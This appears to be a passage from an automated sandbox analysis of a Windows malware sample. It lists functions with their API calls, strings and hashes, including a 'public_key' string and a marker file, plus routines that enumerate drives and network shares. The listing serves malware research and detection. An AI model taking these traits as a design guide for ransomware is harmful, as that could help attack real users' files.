lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Function 0042728B Relevance: 12.2, APIs: 8, Instructions: 202COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char$_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 1678825546-0
Opcode ID: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction ID: 52db3c5ac710bcba984e77d884e21c03200a6a5045cf61879664ec27deebefdc
Opcode Fuzzy Hash: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction Fuzzy Hash: 27718471F092399BDF30DA58EC98BAAB7B5EF54314F5440DAD908A6241D7389EC0CF58

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

0123456789ABCDEF, xrefs: 004574D6
0123456789abcdef, xrefs: 004574C4
+, xrefs: 00457475
, xrefs: 00457482
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Function 004273EA Relevance: 10.6, APIs: 7, Instructions: 129COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction ID: 6e53a8d943180cd312645f9ab6be848b87d00e26e6c43e5a6b33f09903c19296
Opcode Fuzzy Hash: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction Fuzzy Hash: AA515771F09139AFDF309A54DC99BAAB7B5EF04304F4400DAD908A6251D7799F80CF59

Function 004273FA Relevance: 10.6, APIs: 7, Instructions: 127COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction ID: 8198ec34aa8999dc590647716f2dc488f85491d7af5cc04cf74bf98b0f8c793f
Opcode Fuzzy Hash: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction Fuzzy Hash: F2514471F05139AEDF309A68DC99BAAB7B5EF04304F4400DAE908A6251E7399F80CF59

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

lib(%lu), xrefs: 0045071C
func(%lu), xrefs: 00450734
reason(%lu), xrefs: 00450758
error:%08lX:%s:%s:%s, xrefs: 00450792

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0
g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

phrase is too short, needs to be at least %d chars, xrefs: 00463070
Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

